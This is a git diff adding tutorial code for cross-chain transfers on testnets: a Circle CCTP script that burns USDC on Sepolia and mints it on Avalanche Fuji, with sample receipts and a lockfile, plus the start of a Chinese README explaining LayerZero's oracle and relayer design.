+  gasUsed: 103504n,
+  logs: [
+    {
+      address: '0x1c7d4b196cb0c7b01d743fbc6116a902379c7238',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 171,
+      removed: false
+    },
+    {
+      address: '0x1c7d4b196cb0c7b01d743fbc6116a902379c7238',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 172,
+      removed: false
+    },
+    {
+      address: '0x1c7d4b196cb0c7b01d743fbc6116a902379c7238',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 173,
+      removed: false
+    },
+    {
+      address: '0x7865fafc2db2093669d92c0f33aeef291086befd',
+      topics: [Array],
+      data: '0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000f8000000000000000000000001000000000003ec700000000000000000000000009f3b8679c73c2fef8b59b4f3444d4e156fb70aa5000000000000000000000000eb08f243e5d3fcff26a9e38ae5520a669f4019d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c7d4b196cb0c7b01d743fbc6116a902379c7238000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f0000000000000000',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 174,
+      removed: false
+    },
+    {
+      address: '0x9f3b8679c73c2fef8b59b4f3444d4e156fb70aa5',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000eb08f243e5d3fcff26a9e38ae5520a669f4019d00000000000000000000000000000000000000000000000000000000000000000',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 175,
+      removed: false
+    }
+  ],
+  logsBloom: '0x00000000000000000000000000000000000000000000001000000000000200002000000000000200000000000000000000002010000004000000000000000000100000000000000000000008000000000000000000000000000200020000000001000000022000400000000000000800080000000040000000100010100000000000000000101004000000000000000000000000000000000000000000200000000000000000000000000000000000040000008000000000000000000000000000000002000000000480000000000000000000000000000000000000020020000000000400000020000010000000000000080000000000000000000000000000',
+  status: 'success',
+  to: '0x9f3b8679c73c2fef8b59b4f3444d4e156fb70aa5',
+  transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+  transactionIndex: 106,
+  type: 'eip1559'
+}
+
+STEP 3: Retrieve message bytes from logs
+
+message
+0x000000000000000000000001000000000003ec700000000000000000000000009f3b8679c73c2fef8b59b4f3444d4e156fb70aa5000000000000000000000000eb08f243e5d3fcff26a9e38ae5520a669f4019d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c7d4b196cb0c7b01d743fbc6116a902379c7238000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f
+
+messageHash 0x921854a0cc7746e05082591412747ffa0c497e6c4785504b29061c5d36b0e1b0
+
+STEP 4: Fetch attestation signature
+Signature: 0x5c515abc1964dfe1e46a4a4daacb897a24d586e15d0ff93617e8f22793ed6192565957db1dc55b4011409f4b7dbb4e072a8365fa11071b393c41a6e2527a1b421c6d49f035e9665c55568afea143e3490fa8a1d5f6409fbc94956a9a95cfe258f6236e0805e96080d8347153d64d8823983e9cdfbdb08140d1933b3d8f874356551c
+
+STEP 5: Using the message bytes and signature recieve the funds on destination chain and address
+ReceiveTx 0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4
+
+ReceiveTxReceipt:  {
+  blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+  blockNumber: 30168739n,
+  contractAddress: null,
+  cumulativeGasUsed: 325719n,
+  effectiveGasPrice: 25000000000n,
+  from: '0xe45d43feb3f65b4587510a68722450b629154e6f',
+  gasUsed: 143755n,
+  logs: [
+    {
+      address: '0x5425890298aed601595a70ab815c96711a31bc65',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 2,
+      removed: false
+    },
+    {
+      address: '0x5425890298aed601595a70ab815c96711a31bc65',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 3,
+      removed: false
+    },
+    {
+      address: '0xeb08f243e5d3fcff26a9e38ae5520a669f4019d0',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 4,
+      removed: false
+    },
+    {
+      address: '0xa9fb1b3009dcb79e2fe346c16a604b8fa8ae0a79',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009f3b8679c73c2fef8b59b4f3444d4e156fb70aa500000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084000000000000000000000000000000001c7d4b196cb0c7b01d743fbc6116a902379c7238000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 5,
+      removed: false
+    }
+  ],
+  logsBloom: '0x0000000000000000008000000000000100004000000000000000010000200000200000000400000000000000000002000000a000000000000000000000000000000000000000000000000008000000000080000000000000000000200000000001020000020000000000000000012800000000000000000000400010000000000000000000000400000000001000000000000000000002000000000000010400000000000000000004100000000000040000000000000000000000000000000000000002000010000080000000000000000000000000000000000000020020000000000000000000000000000000004000000000000800000000000000000000',
+  status: 'success',
+  to: '0xa9fb1b3009dcb79e2fe346c16a604b8fa8ae0a79',
+  transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+  transactionIndex: 1,
+  type: 'eip1559'
+}
+Check USDC on Avax testnet balanceOf 10000
+```
+
+## Referrence
+
+- doc <https://developers.circle.com/stablecoins/docs/transfer-usdc-on-testnet-from-ethereum-to-avalanche>
+
+- contract deployment <https://developers.circle.com/stablecoins/docs/evm-smart-contracts>
+
+- USDC Testnet faucet <https://faucet.circle.com/?_gl=1*ouhs7l*_ga_GJDVPCQNRV*MTcwODUwNDQ1OC4zLjEuMTcwODUwNDQ5MS4yNy4wLjA>
diff --git a/basic/80-crossChainTransfer/circle-cctp/package.json b/basic/80-crossChainTransfer/circle-cctp/package.json
new file mode 100644
index 000000000..590baf71b
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/package.json
@@ -0,0 +1,16 @@
+{
+  "type": "module",
+  "scripts": {
+    "build": "tsc",
+    "script": "node dist/usdc_transfer_cctp.js",
+    "start": "npm run build && npm run script"
+  },
+  "dependencies": {
+    "viem": "^2.7.11"
+  },
+  "devDependencies": {
+    "@types/node": "^20.11.19",
+    "dotenv": "^16.4.5",
+    "typescript": "^5.3.3"
+  }
+}
diff --git a/basic/80-crossChainTransfer/circle-cctp/pnpm-lock.yaml b/basic/80-crossChainTransfer/circle-cctp/pnpm-lock.yaml
new file mode 100644
index 000000000..ad8b53bb5
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/pnpm-lock.yaml
@@ -0,0 +1,135 @@
+lockfileVersion: '6.0'
+
+settings:
+  autoInstallPeers: true
+  excludeLinksFromLockfile: false
+
+dependencies:
+  viem:
+    specifier: ^2.7.11
+    version: 2.7.11(typescript@5.3.3)
+
+devDependencies:
+  '@types/node':
+    specifier: ^20.11.19
+    version: 20.11.19
+  dotenv:
+    specifier: ^16.4.5
+    version: 16.4.5
+  typescript:
+    specifier: ^5.3.3
+    version: 5.3.3
+
+packages:
+
+  /@adraffy/ens-normalize@1.10.0:
+    resolution: {integrity: sha512-nA9XHtlAkYfJxY7bce8DcN7eKxWWCWkU+1GR9d+U6MbNpfwQp8TI7vqOsBsMcHoT4mBu2kypKoSKnghEzOOq5Q==}
+    dev: false
+
+  /@noble/curves@1.2.0:
+    resolution: {integrity: sha512-oYclrNgRaM9SsBUBVbb8M6DTV7ZHRTKugureoYEncY5c65HOmRzvSiTE3y5CYaPYJA/GVkrhXEoF0M3Ya9PMnw==}
+    dependencies:
+      '@noble/hashes': 1.3.2
+    dev: false
+
+  /@noble/hashes@1.3.2:
+    resolution: {integrity: sha512-MVC8EAQp7MvEcm30KWENFjgR+Mkmf+D189XJTkFIlwohU5hcBbn1ZkKq7KVTi2Hme3PMGF390DaL52beVrIihQ==}
+    engines: {node: '>= 16'}
+    dev: false
+
+  /@scure/base@1.1.5:
+    resolution: {integrity: sha512-Brj9FiG2W1MRQSTB212YVPRrcbjkv48FoZi/u4l/zds/ieRrqsh7aUf6CLwkAq61oKXr/ZlTzlY66gLIj3TFTQ==}
+    dev: false
+
+  /@scure/bip32@1.3.2:
+    resolution: {integrity: sha512-N1ZhksgwD3OBlwTv3R6KFEcPojl/W4ElJOeCZdi+vuI5QmTFwLq3OFf2zd2ROpKvxFdgZ6hUpb0dx9bVNEwYCA==}
+    dependencies:
+      '@noble/curves': 1.2.0
+      '@noble/hashes': 1.3.2
+      '@scure/base': 1.1.5
+    dev: false
+
+  /@scure/bip39@1.2.1:
+    resolution: {integrity: sha512-Z3/Fsz1yr904dduJD0NpiyRHhRYHdcnyh73FZWiV+/qhWi83wNJ3NWolYqCEN+ZWsUz2TWwajJggcRE9r1zUYg==}
+    dependencies:
+      '@noble/hashes': 1.3.2
+      '@scure/base': 1.1.5
+    dev: false
+
+  /@types/node@20.11.19:
+    resolution: {integrity: sha512-7xMnVEcZFu0DikYjWOlRq7NTPETrm7teqUT2WkQjrTIkEgUyyGdWsj/Zg8bEJt5TNklzbPD1X3fqfsHw3SpapQ==}
+    dependencies:
+      undici-types: 5.26.5
+    dev: true
+
+  /abitype@1.0.0(typescript@5.3.3):
+    resolution: {integrity: sha512-NMeMah//6bJ56H5XRj8QCV4AwuW6hB6zqz2LnhhLdcWVQOsXki6/Pn3APeqxCma62nXIcmZWdu1DlHWS74umVQ==}
+    peerDependencies:
+      typescript: '>=5.0.4'
+      zod: ^3 >=3.22.0
+    peerDependenciesMeta:
+      typescript:
+        optional: true
+      zod:
+        optional: true
+    dependencies:
+      typescript: 5.3.3
+    dev: false
+
+  /dotenv@16.4.5:
+    resolution: {integrity: sha512-ZmdL2rui+eB2YwhsWzjInR8LldtZHGDoQ1ugH85ppHKwpUHL7j7rN0Ti9NCnGiQbhaZ11FpR+7ao1dNsmduNUg==}
+    engines: {node: '>=12'}
+    dev: true
+
+  /isows@1.0.3(ws@8.13.0):
+    resolution: {integrity: sha512-2cKei4vlmg2cxEjm3wVSqn8pcoRF/LX/wpifuuNquFO4SQmPwarClT+SUCA2lt+l581tTeZIPIZuIDo2jWN1fg==}
+    peerDependencies:
+      ws: '*'
+    dependencies:
+      ws: 8.13.0
+    dev: false
+
+  /typescript@5.3.3:
+    resolution: {integrity: sha512-pXWcraxM0uxAS+tN0AG/BF2TyqmHO014Z070UsJ+pFvYuRSq8KH8DmWpnbXe0pEPDHXZV3FcAbJkijJ5oNEnWw==}
+    engines: {node: '>=14.17'}
+    hasBin: true
+
+  /undici-types@5.26.5:
+    resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==}
+    dev: true
+
+  /viem@2.7.11(typescript@5.3.3):
+    resolution: {integrity: sha512-qlEPF9YOgPVqjTyom73TVAekAYrIe68megO07u55p7pKWgLt0i9KD6Mrmiw7pd7oHh86vIppcygwQMDNGX1YAw==}
+    peerDependencies:
+      typescript: '>=5.0.4'
+    peerDependenciesMeta:
+      typescript:
+        optional: true
+    dependencies:
+      '@adraffy/ens-normalize': 1.10.0
+      '@noble/curves': 1.2.0
+      '@noble/hashes': 1.3.2
+      '@scure/bip32': 1.3.2
+      '@scure/bip39': 1.2.1
+      abitype: 1.0.0(typescript@5.3.3)
+      isows: 1.0.3(ws@8.13.0)
+      typescript: 5.3.3
+      ws: 8.13.0
+    transitivePeerDependencies:
+      - bufferutil
+      - utf-8-validate
+      - zod
+    dev: false
+
+  /ws@8.13.0:
+    resolution: {integrity: sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==}
+    engines: {node: '>=10.0.0'}
+    peerDependencies:
+      bufferutil: ^4.0.1
+      utf-8-validate: '>=5.0.2'
+    peerDependenciesMeta:
+      bufferutil:
+        optional: true
+      utf-8-validate:
+        optional: true
+    dev: false
diff --git a/basic/80-crossChainTransfer/circle-cctp/src/usdc_transfer_cctp.ts b/basic/80-crossChainTransfer/circle-cctp/src/usdc_transfer_cctp.ts
new file mode 100644
index 000000000..4dfe4c849
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/src/usdc_transfer_cctp.ts
@@ -0,0 +1,218 @@
+// Transfer USDC on testnet from Ethereum to Avalanche
+// https://developers.circle.com/stablecoins/docs/transfer-usdc-on-testnet-from-ethereum-to-avalanche
+// contract deployment
+// https://developers.circle.com/stablecoins/docs/evm-smart-contracts
+// USDC Testnet faucet
+// https://faucet.circle.com/?_gl=1*ouhs7l*_ga_GJDVPCQNRV*MTcwODUwNDQ1OC4zLjEuMTcwODUwNDQ5MS4yNy4wLjA.
+
+import dotenv from "dotenv";
+dotenv.config();
+
+import {
+  createPublicClient,
+  createWalletClient,
+  decodeEventLog,
+  erc20Abi,
+  getContract,
+  http,
+  keccak256,
+  pad,
+  parseAbi,
+  toBytes,
+} from "viem";
+import { avalancheFuji, sepolia } from "viem/chains";
+import { privateKeyToAccount } from "viem/accounts";
+
+const tokenMessengerAbi = parseAbi([
+  "function depositForBurn(uint256 amount,uint32 destinationDomain, bytes32 mintRecipient, address burnToken) external returns (uint64 _nonce)"
+]);
+const messageTransmitterAbi = parseAbi([
+  "function receiveMessage(bytes calldata message, bytes calldata attestation) external returns (bool success)"
+]);
+
+// Sepolia Testnet Contract Addresses
+const ETH_TOKEN_MESSENGER_CONTRACT_ADDRESS =
+  "0x9f3B8679c73C2Fef8b59B4f3444d4e156fb70AA5";
+const USDC_ETH_CONTRACT_ADDRESS = "0x1c7D4B196Cb0C7B01d743Fbc6116a902379C7238";
+const USDC_AVAX_CONTRACT_ADDRESS = "0x5425890298aed601595a70AB815c96711a31Bc65";
+const AVAX_MESSAGE_TRANSMITTER_CONTRACT_ADDRESS =
+  "0xa9fb1b3009dcb79e2fe346c16a604b8fa8ae0a79";
+
+const sepoliaHttp = http(
+  `https://eth-sepolia.g.alchemy.com/v2/${process.env.ALCHEMY_KEY}`
+);
+const avaxTestnetHttp = http(`https://api.avax-test.network/ext/bc/C/rpc`);
+
+const main = async () => {
+  const sepoliaAccount = privateKeyToAccount(
+    `${process.env.SEPOLIA_ACCOUNT_PK as `0x${string}`}`
+  );
+  const avaxTestnetAccount = privateKeyToAccount(
+    `${process.env.AVAX_FUJI_PRIVATE_KEY as `0x${string}`}`
+  );
+  console.log(
+    `Ethereum Sepolia testnet Wallet address: ${avaxTestnetAccount.address}`
+  );
+  console.log(
+    `Avalache Fuji testnet Wallet address: ${avaxTestnetAccount.address}`
+  );
+
+  const sepoliaPublicClient = createPublicClient({
+    chain: sepolia,
+    transport: sepoliaHttp,
+  });
+
+  const sepoliaWalletClient = createWalletClient({
+    chain: sepolia,
+    transport: sepoliaHttp,
+    account: sepoliaAccount,
+  });
+
+  const avaxTestnetPublicClient = createPublicClient({
+    chain: avalancheFuji,
+    transport: avaxTestnetHttp,
+  });
+
+  const avaxTestnetWalletClient = createWalletClient({
+    chain: avalancheFuji,
+    transport: avaxTestnetHttp,
+    account: avaxTestnetAccount,
+  });
+
+  // initialize contracts using address and ABI
+  const ethTokenMessengerContract = getContract({
+    address: ETH_TOKEN_MESSENGER_CONTRACT_ADDRESS,
+    abi: tokenMessengerAbi,
+    client: { public: sepoliaPublicClient, wallet: sepoliaWalletClient },
+  });
+  const usdcEthContract = getContract({
+    address: USDC_ETH_CONTRACT_ADDRESS,
+    abi: erc20Abi,
+    client: { public: sepoliaPublicClient, wallet: sepoliaWalletClient },
+  });
+
+  const avaxMessageTransmitterContract = getContract({
+    address: AVAX_MESSAGE_TRANSMITTER_CONTRACT_ADDRESS,
+    abi: messageTransmitterAbi,
+    client: {
+      public: avaxTestnetPublicClient,
+      wallet: avaxTestnetWalletClient,
+    },
+  });
+
+  const usedAvaxContract = getContract({
+    address: USDC_AVAX_CONTRACT_ADDRESS,
+    abi: erc20Abi,
+    client: {
+      public: avaxTestnetPublicClient,
+      wallet: avaxTestnetWalletClient,
+    },
+  });
+
+  // AVAX destination address
+  const mintRecipient = avaxTestnetAccount.address;
+  const destinationAddressZeroPad = pad(mintRecipient, { size: 32 });
+  const AVAX_DESTINATION_DOMAIN = 1;
+
+  const avaxBeforeBalance = (await usedAvaxContract.read.balanceOf([
+    mintRecipient,
+  ])) as bigint;
+
+  // Amount that will be transferred
+  const amount = 1n * 100000n;
+  console.log(
+    `sepolia test USDC balanceOf     ${await usdcEthContract.read.balanceOf([
+      sepoliaAccount.address,
+    ])}`
+  );
+  console.log(`Amount that will be transferred ${amount}`);
+
+  // STEP 1: Approve messenger contract to withdraw from our active eth address
+  console.log(
+    `\nSTEP 1: Approve messenger contract to withdraw from our active eth address`
+  );
+  const approveTx = await usdcEthContract.write.approve([
+    ETH_TOKEN_MESSENGER_CONTRACT_ADDRESS,
+    amount,
+  ]);
+  console.log(`ApproveTx ${approveTx}`);
+  const approveTxReceipt = await sepoliaPublicClient.waitForTransactionReceipt({
+    hash: approveTx,
+  });
+  console.log("ApproveTxReceipt: ", approveTxReceipt);
+
+  // STEP 2: Burn USDC
+  console.log(`\nSTEP 2: Burn USDC`);
+  const burnTx = await ethTokenMessengerContract.write.depositForBurn([
+    amount,
+    AVAX_DESTINATION_DOMAIN,
+    destinationAddressZeroPad,
+    USDC_ETH_CONTRACT_ADDRESS,
+  ]);
+  console.log(`BurnTx ${burnTx}`);
+  const burnTxReceipt = await sepoliaPublicClient.waitForTransactionReceipt({
+    hash: burnTx,
+  });
+  console.log("\nBurnTxReceipt: ", burnTxReceipt);
+
+  // STEP 3: Retrieve message bytes from logs
+  console.log(`\nSTEP 3: Retrieve message bytes from logs`);
+  const messageSentEvent = burnTxReceipt.logs.find(
+    (_log) => _log.topics[0] == keccak256(toBytes("MessageSent(bytes)"))
+  );
+  const {
+    args: { message },
+  } = decodeEventLog({
+    abi: parseAbi(["event MessageSent(bytes message)"]),
+    data: messageSentEvent!.data,
+    topics: messageSentEvent!.topics,
+  });
+
+  const messageHash = keccak256(message);
+  console.log("\nmessage", message);
+  console.log("\nmessageHash", messageHash);
+
+  // STEP 4: Fetch attestation signature
+  console.log(`\nSTEP 4: Fetch attestation signature`);
+  let attestationResponse: any = { status: "pending" };
+  while (attestationResponse.status != "complete") {
+    const response = await fetch(
+      `https://iris-api-sandbox.circle.com/attestations/${messageHash}`
+    );
+    attestationResponse = await response.json();
+    await new Promise((r) => setTimeout(r, 2000));
+  }
+
+  const attestationSignature = attestationResponse?.attestation;
+  console.log(`Signature: ${attestationSignature}`);
+
+  // STEP 5: Using the message bytes and signature recieve the funds on destination chain and address
+  console.log(
+    `\nSTEP 5: Using the message bytes and signature recieve the funds on destination chain and address`
+  );
+  const receiveTx = await avaxMessageTransmitterContract.write.receiveMessage([
+    message,
+    attestationSignature,
+  ]);
+  console.log(`ReceiveTx ${receiveTx}`);
+  const receiveTxReceipt =
+    await avaxTestnetPublicClient.waitForTransactionReceipt({
+      hash: receiveTx,
+    });
+  console.log("\nReceiveTxReceipt: ", receiveTxReceipt);
+
+  const avaxAfterBalance = (await usedAvaxContract.read.balanceOf([
+    mintRecipient,
+  ])) as bigint;
+
+  console.log(
+    `Check USDC on Avax testnet balanceOf increasement ${
+      avaxAfterBalance - avaxBeforeBalance
+    }`
+  );
+};
+
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/circle-cctp/tsconfig.json b/basic/80-crossChainTransfer/circle-cctp/tsconfig.json
new file mode 100644
index 000000000..a7dcb3551
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/tsconfig.json
@@ -0,0 +1,19 @@
+{
+  "compilerOptions": {
+    "target": "ESNext",
+    "useDefineForClassFields": true,
+    "module": "ESNext",
+    "lib": ["ESNext", "DOM"],
+    "moduleResolution": "Node",
+    "strict": true,
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "esModuleInterop": true,
+    "noUnusedLocals": false,
+    "noUnusedParameters": false,
+    "noImplicitReturns": true,
+    "skipLibCheck": true,
+    "outDir": "./dist"
+  },
+  "include": ["src/**/*"]
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/.env.example b/basic/80-crossChainTransfer/layerZero/.env.example
new file mode 100644
index 000000000..5effb1d3e
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=yyyy
+INFURA_ID=zzzz
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/.gitignore b/basic/80-crossChainTransfer/layerZero/.gitignore
new file mode 100644
index 000000000..7b1c94825
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/.gitignore
@@ -0,0 +1,16 @@
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+deployment.json
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/README-cn.md b/basic/80-crossChainTransfer/layerZero/README-cn.md
new file mode 100644
index 000000000..484b33fdf
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/README-cn.md
@@ -0,0 +1,164 @@
+中文 / [English](./README.md)
+
+# Layerzero 跨链
+
+## 概览 
+LayerZero 是一种全链互操作性协议，专注于链与链之间的数据消息传递，允许任何数据，包括代币、链的状态、合约调用、NFT 或治理投票等，从链 A 转移到链 B。
+LayerZero 通过 Relayer 和 Oracle 结合的方式实现数据的跨链传输。其中 Oracle 提交跨链申请，Relayer 提交跨链证明，从而防止作恶。
+简单地说，LayerZero 处理通信，应用程序处理其它一切问题。这种组合允许应用安全地在所有链上统一资产的平衡。
+
+### LayerZero 角色  
+LayerZero 的核心角色分为 Oracle 和 Relayer, 承担着两条链之间信息传递  
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-80/LayerZero_Layout.png?raw=true" /></center>  
+
+### Oracle 和 Relayer 的分工  
+简单来说，Oracle（预言机）的主要作用是让目标链上的合约知道什么时候验证和验证的答案是什么。而 Relayer（中继器）则负责提供验证交易所需的证明过程以及跨链信息的具体内容。
+
+1. Oracle 的作用  
+将源头链上跨链请求所在的 Blockhash 和 Block Receiptsroot 传递到目标链上.  
+Blockhash: 告知目标链上的合约哪个区块里有用户的跨链请求  
+Block Receiptsroot: 用来验证交易中继器传递的消息  
+
+2. Relayer 的作用  
+将跨链消息所在的 Receipt 和 Merkle Proof 所需的路径信息传递到目标链上的合约用以验证。  
+其中 Receipt 收据是指交易回执信息，其中主要包含着交易执行结果、交易哈希和交易事件日志。 
+交易执行结果：源链上交易本身是否成功。 
+交易哈希：每一笔交易的全局唯一哈希。  
+交易事件日志：跨链信息的具体内容。 
+这里的路径信息就是下图的红色箭头，比如将中继者依次将 L2 -> Hash 0-0 -> Hash 1 信息告诉链上节点后。比对预言机给出的 TopHash，以及基于中继者给出的信息合约进行二次计算后一致则说明中继者是正确的。
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-80/Oracle_Merkle_proof.png?raw=true" /></center> 
+
+3. LayerZero 的跨链生命周期   
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-80/LayerZero_LifeCycle.png?raw=true" /></center> 
+整体流程概述如下：
+
+一个交易从用户应用程序（UA）启动一个交易（即在链上执行某些操作）开始。然后，通过预言机和中继器在 LayerZero 端点的协助下，将这个交易分解成多个部分（证明和区块头）。一旦预言机和中继器在目标链上发送各自的信息（签署交易上链），并且 LayerZero Endpoint（合约）验证了信息的正确性，消息就会被转化并在目标链上执行。
+
+展开详细步骤如下（对照上图看）：
+
+步骤 1：用户应用程序 UA（如 Stargate 桥）LayerZero 的通信器（Communicator）发送请求，包括交易标识符 t、从 A 到 B 转移的数据（payload 有效负载）、或指向 Chain B 上用户应用程序智能合约的标识符或者中继器 (relayer_args) 等交易信息。
+
+步骤 2：通信器将这些数据以 LayerZero 数据包（packet）的形式发送给验证器（Validator）
+
+步骤 3：验证器将交易标识符和链 B 上智能合约的标识符等发送给网络层（NetWork）。网络层的工作也被触发，有待传递的信息需要通过 oracle 将源链 A 的区块头发送到目标链 B。
+
+步骤 4：验证器将此信息（packet）转发给中继器。中继器被通知后则取交易证明（第 7 步的 Proof）链下存储，并将其发送到 Chain B（第 11 步），chainB 的端点亦可发起申请要求获取指定块哈希的结果 (第 10 步)。
+
+步骤 5：网络层将 Chain B 上智能合约的标识符和交易块的块 ID 一起发送给预言机。当预言机被通知则获取 Chain A 上当前块的块头（第 6 步）并将其发送到 Chain B（第 8 步）。
+
+可以看到这时候其实 6、7、8、10、11 的部分都内嵌在中继器和预言机的环节执行了。
+
+步骤 9：网络层将获取到的区块哈希发送到验证器（触发超轻节点的验证）。
+
+步骤 12：验证器通过查看网络层存储的交易证明和块头来确保交易有效且已提交。如果块头和交易证明匹配，则将交易信息（Packet）发送到通信器。
+
+步骤 13：通信器将信息（Packet）转发送到 Chain B 上的用户应用程序中，执行任意功能。
+
+整体跨链是在源链上执行首笔交易的时候收取的 Gas 手续费，到了目标链上则是对应 3 笔，构成是中继器+预言机+Layer Zero: Executor（某个 EOA 账号）。 
+
+## 测试环境要求  
+node 版本需要为 v20.11.0, 可以使用 nvm 切换当前 node 版本
+
+## 准备测试环境  
+- 安装依赖  
+```
+npm install
+```
+
+- 获取测试 ETH 
+执行下面脚本前需要获取测试 ETH，可以访问如下两个 link 进行获取 
+optim sepolia: https://faucet.quicknode.com/optimism/sepolia
+sepolia: https://www.alchemy.com/faucets/ethereum-sepolia
+
+- 配置环境  
+```
+cp .env.example .env
+## 之后在 .env 中配置具体的私钥
+```
+
+## 跨链传输消息     
+- 在 sepolia 上部署合约   
+```
+npx hardhat run scripts/sendMessage/1-deployOmniCounterOnSepolia.js --network sepolia
+```
+
+- 在 optim sepolia 上部署合约      
+```
+npx hardhat run scripts/sendMessage/2-deployOmniCounterOnOptimSepolia.js --network optim_sepolia
+```
+
+- 设置 sepolia 侧的 trustRemote   
+```
+npx hardhat run scripts/sendMessage/3-setTrustRemoteForSepolia.js --network sepolia
+```
+
+- 设置 optim sepolia 侧的 trustRemote    
+```
+npx hardhat run scripts/sendMessage/4-setTrustRemoteForOptimSepolia.js --network optim_sepolia
+```
+
+- 在 sepolia 侧触发消息发送    
+```
+npx hardhat run scripts/sendMessage/5-sendMessageFromSepoliaToOpsepolia.js --network sepolia
+```
+
